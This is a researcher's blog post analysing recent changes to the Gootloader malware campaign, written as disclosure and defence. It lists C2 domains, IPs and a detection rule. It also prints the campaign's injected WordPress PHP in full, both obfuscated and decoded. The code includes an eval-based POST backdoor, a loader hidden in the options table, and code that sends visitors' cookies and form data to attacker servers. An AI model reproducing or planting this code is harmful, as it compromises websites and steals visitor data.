My-Game Retired? Latest Changes to Gootloader

gootloader.wordpress.com/2024/02/14/my-game-retired-latest-changes-to-gootloader/

February 14, 2024

A lot of little things have changed with the Gootloader malware since my last blog, so I feel it is time to document them publically.

1. Oct 4th 2023, new-game[.]me is registered
2. Nov 14 2023, My 1st YouTube video (https://www.youtube.com/watch?v=W2vh7y89TOs)
3. Dec 5th 2023, new Command & Control server for bot communication stood up: luckyserver777[.]co[.]za
4. Around the same time, creation of xmlrpc.php, pointing to new luckyserver777[.]co[.]za domain, on infected blogs
5. Around Dec 20-28th 2023, luckyserver777[.]co[.]za becomes resolvable to 91.215.85[.]69
6. Beginning of 2024, Constantly changing download link
7. Jan 9th 2024, new-game[.]me is resolvable to the same IP that my-game[.]biz is on 91.215.85[.]52
8. Feb 2nd 2024, Microsoft Defender detecting the majority of malicious zips
9. Feb 4th 2024, The JavaScript library that Gootloader hides in changed
10. Feb 5th 2024, I created a new Yara rule to detect the new samples : https://github.com/GootloaderSites/Tools/blob/main/MomentJSGootloaderJS.yar
11. Feb 14th 2024, identify infected blogs pointing to new-game[.]me, for their C2 communication (not sure when they made the switch)

I would like to example on #4. I was able to identify the following PHP code that was injected in the legitimate WordPress file xmlrpc.php.

```
<?php goto boRJO; boRJO: $ch = curl_init(); goto fB1wY; jUCyr: curl_setopt($ch,
CURLOPT_POST, TRUE); goto HcxAz; IKqv7: curl_close($ch); goto bi3Dv; HcxAz:
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); goto b2dAn; N9o8z: $d = array("\151"
=> serialize($_SERVER["\122\x45\115\117\x54\x45\x5f\x41\x44\x44\122"]), "\x75" =>
serialize($_SERVER["\x48\124\124\120\137\x55\123\105\122\x5f\x41\107\105\116\124"]),
"\x68" => serialize($_SERVER["\110\124\x54\x50\137\110\117\123\x54"]), "\x63" =>
serialize($_COOKIE), "\147" => serialize($_GET), "\160" => serialize($_POST)); goto
nLmfD; H36HP: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); goto N9o8z; bi3Dv: if
(strpos($r, "\x47\111\106\70\71") !== false) {
header("\x43\157\x6e\x74\145\x6e\164\55\124\x79\160\x65\x3a\x20\151\x6d\141\x67\x65\57
 echo $r; exit;} goto cmXKz; b2dAn: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); goto
H36HP; fB1wY: curl_setopt($ch, CURLOPT_URL,
"\x68\164\x74\160\x73\72\x2f\57\x6c\165\x63\153\x79\163\x65\162\x76\145\x72\67\x37\67\
 goto jUCyr; LTTGw: $r = curl_exec($ch); goto IKqv7; nLmfD: curl_setopt($ch,
CURLOPT_POSTFIELDS, http_build_query($d)); goto LTTGw; cmXKz: ?>
```

Removing the obfuscation and we see the new luckyserver777[.]co[.]za C2.

```
<?php
goto boRJO;
boRJO:
$ch = curl_init();
goto fB1wY;
jUCyr:
curl_setopt($ch, CURLOPT_POST, true);
goto HcxAz;
IKqv7:
curl_close($ch);
goto bi3Dv;
HcxAz:
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
goto b2dAn;
N9o8z:
$d = [
    "i" => serialize($_SERVER["REMOTE_ADDR"]),
    "u" => serialize($_SERVER["HTTP_USER_AGENT"]),
    "h" => serialize($_SERVER["HTTP_HOST"]),
    "c" => serialize($_COOKIE),
    "g" => serialize($_GET),
    "p" => serialize($_POST),
];
goto nLmfD;
H36HP:
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
goto N9o8z;
bi3Dv:
if (strpos($r, "GIF89") !== false) {
    header("Content-Type: image/gif");
    echo $r;
    exit();
}
goto cmXKz;
b2dAn:
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
goto H36HP;
fB1wY:
curl_setopt($ch, CURLOPT_URL, "https://luckyserver777[.]co[.]za/index.php");
goto jUCyr;
LTTGw:
$r = curl_exec($ch);
goto IKqv7;
nLmfD:
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($d));
goto LTTGw;
cmXKz: ?>
```

And here are my receipts for #11. This PHP code is hidden in the options table, under an option named “themes_css” (which hasn’t changed since 2020 credit https://www.richinfante.com/2020/04/12/reverse-engineering-dolly-wordpress-malware). What has changed is the structure and functions that are used (as well as the domain).

I will start off with the PHP that is injected in the theme’s functions.php (and sometimes 404.php), or in wp-content/uploads/2020/index.php.

```
<?php
$wp_t=array('theme','b0123456789abcde',$_POST,'color');
if(isset($wp_t[2][$wp_t[1]])) {
    $wp=$wp_t[2][$wp_t[3]]($wp_t[2][$wp_t[0]]($wp_t[2][$wp_t[1]]));
    $wp['themes'] = $wp['theme']();
    $wp['footer'] = $wp['footer']($wp['themes'])[$wp['name']];
    $wp['body']($wp['themes'], $wp['color']($wp['header']));
    require_once($wp['footer']);
    $wp['size']($wp['themes']);
}
```

Next is the data from the above mentioned options table row:

```
Array
(
    [css] => font-family: sans-serif; line-height: 1.15; -ms-text-size-adjust: 100%;
-webkit-text-size-adjust: 100%;
    [theme] => b0123456789abcde
    [themes] => tmpfile
    [footer] => stream_get_meta_data
    [body] => fwrite
    [size] => fclose
    [name] => uri
    [color] => hex2bin
    [header] => (big block of hex)
)
```

Converting the big blog of hex characters we get the following PHP code, that contains some obfuscation:

```
<?php $pposte=$themes_css['theme']; if (isset($_POST[$pposte])) {
@eval(base64_decode($_POST[$pposte])); exit; } function qwc1() { global $wpdb,
$table_prefix, $qwc1; $qwc2 =
explode('.',$_SERVER["\x52\105\x4d\117\x54\105\x5f\101\x44\104\x52"]);
if(sizeof($qwc2)==4){if ($wpdb-
>get_var("\x53\105\x4c\105\x43\124\x20\105\x58\111\x53\124\x53\40\x28\123\x45\114\x45\
{$qwc1=1;}}} qwc1(); if ( is_user_logged_in() ) { global $wpdb, $table_prefix; if (!
isset($qwc1)) { $qwc3 =
ip2long($_SERVER["\x52\105\x4d\117\x54\105\x5f\101\x44\104\x52"]); if ($qwc3 == -1 ||
$qwc3 === FALSE) {} else { if($wpdb-
>get_var("\x53\110\x4f\127\x20\124\x41\102\x4c\105\x53\40\x4c\111\x4b\105\x20\47\x62\1
 == "\x62\141\x63\153\x75\160\x64\142\x5f".$table_prefix."\x6c\163\x74\141\x74") {
$qwc3 = $qwc3-2560; for ($i = 1; $i < 20; $i++) { $qwc2 = explode('.',long2ip($qwc3+
($i*256))); $wpdb->insert(
"\x62\141\x63\153\x75\160\x64\142\x5f".$table_prefix."\x6c\163\x74\141\x74", array(
'wp' =>  $qwc2[0].'|'.$qwc2[1].'|'.$qwc2[2]));}}}}} if (! isset($qwc1)) { $qwc4 =
'a'.substr(md5($pposte),0,6); if (isset($_GET[$qwc4])) {$request =
@wp_remote_retrieve_body(@wp_remote_get(
"\x68\164\x74\160\x3a\57\x2f\156\x65\167\x2d\147\x61\155\x65\56\x6d\145\x2f\151\x6e\14
 array( "\x74\151\x6d\145\x6f\165\x74" => 120 ) )); if
(strstr($request,"\x3c\163\x6c\145\x65\160\x3e")) { $echo_n =
explode("\x3c\163\x6c\145\x65\160\x3e",$request); $ott1 = base64_decode($echo_n[0]);
if (strstr($ott1,'|')) { $head = explode('|',$ott1); foreach ($head as &$v1a) {
header ($v1a);} }echo base64_decode($echo_n[1]); } exit; } function qwc0() { global
$wpdb,$qwc4; $tpre = $wpdb->prefix; if($wpdb-
>get_var("\x53\110\x4f\127\x20\124\x41\102\x4c\105\x53\40\x4c\111\x4b\105\x20\47\x62\1
 == "\x62\141\x63\153\x75\160\x64\142\x5f".$tpre."\x70\157\x73\164\x73") { $qwc5  =
"\x62\141\x63\153\x75\160\x64\142\x5f".$tpre; if ($tpre <> $qwc5) { $qwc0 = '<div
id="'.$qwc4.'"><ul>'; wp_cache_flush(); $qwc6 = new wpdb(DB_USER, DB_PASSWORD,
DB_NAME, DB_HOST); $qwc6->set_prefix( $qwc5 ); $qwc7 = $wpdb; $wpdb = $qwc6; $qwc8 =
wp_get_recent_posts(20); foreach($qwc8 as $qwc9){$qwc0 =$qwc0 .'<li><a href="' .
get_permalink($qwc9["ID"]) . '"
title="'.$qwc9["\x70\157\x73\164\x5f\164\x69\164\x6c\145"].'" >' .
$qwc9["\x70\157\x73\164\x5f\164\x69\164\x6c\145"].'</a></li> ';} $wpdb = $qwc7;
wp_cache_flush(); $qwc0 = $qwc0.'</ul><div><script type="text/javascript">
'."\x64\157\x63\165\x6d\145\x6e\164\x2e\147\x65\164\x45\154\x65\155\x65\156\x74\102\x7
 </script>'; } else $qwc0 = ''; return $qwc0; } } function qvc0($qvc1) { GLOBAL
$qwc4; if( is_single() ){ $qvc0 = preg_replace('/j\$k([0-9]{1,10})j\$k/', "<script
type='text/javascript' src='".site_url('/?').$qwc4."=\$1'></script>", $qvc1, 1);}
else { $qvc0=$qvc1; } return $qvc0;} add_filter('the_content', 'qvc0'); function
qvc3($qvc3) { $qvc3 =
preg_replace("\x2f\152\x5c\44\x6b\50\x5b\60\x2d\71\x5d\173\x31\54\x31\60\x7d\51\x6a\13
 '', $qvc3); return $qvc3.qwc0(); } function qwc7() { ob_start("qvc3"); } function
qwc5() { ob_end_flush(); } add_action("\x77\160\x5f\150\x65\141\x64",
"\x71\167\x63\67"); add_action("\x77\160\x5f\146\x6f\157\x74\145\x72",
"\x71\167\x63\65"); function qvc5() { if( is_404() ) { GLOBAL $table_prefix, $wpdb,
$qvc4; if (!isset($qvc4)) $qvc4 = $table_prefix; if($wpdb-
>get_var("\x53\110\x4f\127\x20\124\x41\102\x4c\105\x53\40\x4c\111\x4b\105\x20\47\x62\1
 == "\x62\141\x63\153\x75\160\x64\142\x5f".$qvc4."\x70\157\x73\164\x73") { if (
$table_prefix  <> "\x62\141\x63\153\x75\160\x64\142\x5f".$qvc4) {
$table_prefix="\x62\141\x63\153\x75\160\x64\142\x5f".$qvc4; wp_cache_flush(); $qvc5 =
new wpdb(DB_USER, DB_PASSWORD, DB_NAME, DB_HOST); $qvc5->set_prefix( $table_prefix );
```

```
$thedb = $wpdb; $wpdb = $qvc5; wp(); if (! have_posts() ) { $wpdb = $thedb; }}}}}
add_action( "\x77\160", "\x71\166\x63\65" ); }
```

Running it through unphp.net (and beautifier) and we can now see the new-game[.]me domain.

```php
<?php
$pposte = $themes_css["theme"];
if (isset($_POST[$pposte])) {
    @eval(base64_decode($_POST[$pposte]));
    exit();
}
function qwc1()
{
    global $wpdb, $table_prefix, $qwc1;
    $qwc2 = explode(".", $_SERVER["REMOTE_ADDR"]);
    if (sizeof($qwc2) == 4) {
        if (
            $wpdb->get_var(
                "SELECT EXISTS (SELECT * FROM backupdb_" .
                    $table_prefix .
                    "lstat WHERE wp = '" .
                    $qwc2[0] .
                    "|" .
                    $qwc2[1] .
                    "|" .
                    $qwc2[2] .
                    "');"
            ) == 1
        ) {
            $qwc1 = 1;
        }
    }
}
qwc1();
if (is_user_logged_in()) {
    global $wpdb, $table_prefix;
    if (!isset($qwc1)) {
        $qwc3 = ip2long($_SERVER["REMOTE_ADDR"]);
        if ($qwc3 == -1 || $qwc3 === false) {
        } else {
            if (
                $wpdb->get_var(
                    "SHOW TABLES LIKE 'backupdb_" . $table_prefix . "lstat'"
                ) ==
                "backupdb_" . $table_prefix . "lstat"
            ) {
                $qwc3 = $qwc3 - 2560;
                for ($i = 1; $i < 20; $i++) {
                    $qwc2 = explode(".", long2ip($qwc3 + $i * 256));
                    $wpdb->insert("backupdb_" . $table_prefix . "lstat", [
                        "wp" => $qwc2[0] . "|" . $qwc2[1] . "|" . $qwc2[2],
                    ]);
                }
            }
        }
    }
}
```

```
if (!isset($qwc1)) {
    $qwc4 = "a" . substr(md5($pposte), 0, 6);
    if (isset($_GET[$qwc4])) {
        $request = @wp_remote_retrieve_body(
            @wp_remote_get(
                "http://new-game[.]me/index.php?a=" .
                    base64_encode($_GET[$qwc4]) .
                    "&b=" .
                    base64_encode($_SERVER["REMOTE_ADDR"]) .
                    "&c=" .
                    base64_encode($_SERVER["HTTP_USER_AGENT"]) .
                    "&d=" .
                    base64_encode(wp_get_referer()),
                ["timeout" => 120]
            )
        );
        if (strstr($request, "<sleep>")) {
            $echo_n = explode("<sleep>", $request);
            $ott1 = base64_decode($echo_n[0]);
            if (strstr($ott1, "|")) {
                $head = explode("|", $ott1);
                foreach ($head as &$v1a) {
                    header($v1a);
                }
            }
            echo base64_decode($echo_n[1]);
        }
        exit();
    }
    function qwc0()
    {
        global $wpdb, $qwc4;
        $tpre = $wpdb->prefix;
        if (
            $wpdb->get_var("SHOW TABLES LIKE 'backupdb_" . $tpre . "posts'") ==
            "backupdb_" . $tpre . "posts"
        ) {
            $qwc5 = "backupdb_" . $tpre;
            if ($tpre != $qwc5) {
                $qwc0 = '<div id="' . $qwc4 . '"><ul>';
                wp_cache_flush();
                $qwc6 = new wpdb(DB_USER, DB_PASSWORD, DB_NAME, DB_HOST);
                $qwc6->set_prefix($qwc5);
                $qwc7 = $wpdb;
                $wpdb = $qwc6;
                $qwc8 = wp_get_recent_posts(20);
                foreach ($qwc8 as $qwc9) {
                    $qwc0 =
                        $qwc0 .
                        '<li><a href="' .
                        get_permalink($qwc9["ID"]) .
                        '" title="' .
```

```
                    $qwc9["post_title"] .
                    '" >' .
                    $qwc9["post_title"] .
                    "</a></li> ";
            }
            $wpdb = $qwc7;
            wp_cache_flush();
            $qwc0 =
                $qwc0 .
                '</ul><div><script type="text/javascript"> ' .
                "document.getElementById" .
                '("' .
                $qwc4 .
                '").' .
                "style.display=" .
                '"none"; </script>';
        } else {
            $qwc0 = "";
        }
        return $qwc0;
    }
}
function qvc0($qvc1)
{
    global $qwc4;
    if (is_single()) {
        $qvc0 = preg_replace(
            '/j\$k([0-9]{1,10})j\$k/',
            "<script type='text/javascript' src='" .
                site_url("/?") .
                $qwc4 .
                "=\$1'></script>",
            $qvc1,
            1
        );
    } else {
        $qvc0 = $qvc1;
    }
    return $qvc0;
}
add_filter("the_content", "qvc0");
function qvc3($qvc3)
{
    $qvc3 = preg_replace("/j\$k([0-9]{1,10})j\$k/", "", $qvc3);
    return $qvc3 . qwc0();
}
function qwc7()
{
    ob_start("qvc3");
}
function qwc5()
{
```

```
        ob_end_flush();
    }
    add_action("wp_head", "qwc7");
    add_action("wp_footer", "qwc5");
    function qvc5()
    {
        if (is_404()) {
            global $table_prefix, $wpdb, $qvc4;
            if (!isset($qvc4)) {
                $qvc4 = $table_prefix;
            }
            if (
                $wpdb->get_var(
                    "SHOW TABLES LIKE 'backupdb_" . $qvc4 . "posts'"
                ) ==
                "backupdb_" . $qvc4 . "posts"
            ) {
                if ($table_prefix != "backupdb_" . $qvc4) {
                    $table_prefix = "backupdb_" . $qvc4;
                    wp_cache_flush();
                    $qvc5 = new wpdb(DB_USER, DB_PASSWORD, DB_NAME, DB_HOST);
                    $qvc5->set_prefix($table_prefix);
                    $thedb = $wpdb;
                    $wpdb = $qvc5;
                    wp();
                    if (!have_posts()) {
                        $wpdb = $thedb;
                    }
                }
            }
        }
    }
    add_action("wp", "qvc5");
}
```

Comparing between Rich Infante's article, and the current code, we can see a number of code differences. Instead of using Base64 encoding for their PHP code, they are now using a function to save their malicious code to a temporary file, via the stream_get_meta_data function, and also using the hex2bin function to covert their big blob of text, to PHP code. Additionally, they have modified the structure of the array; adding and removing field names.

The last topic I would like to cover is #5 (I know its out of order), but sometime around the beginning of the year, the threat actor started changing the download URL very quickly. It seems like at times it is every minute. I solely expect this to be done on purpose, to make it harder to detect, and also to cause problems with my Twitter/X bot. Twitter/X's free API access is getting throttled due to the amount of URLs it is trying to tweet/post. Mastodon is able to keep up, so feel free to follow over there: https://linktr.ee/gootloader.

If you made it this far, I appreciate it!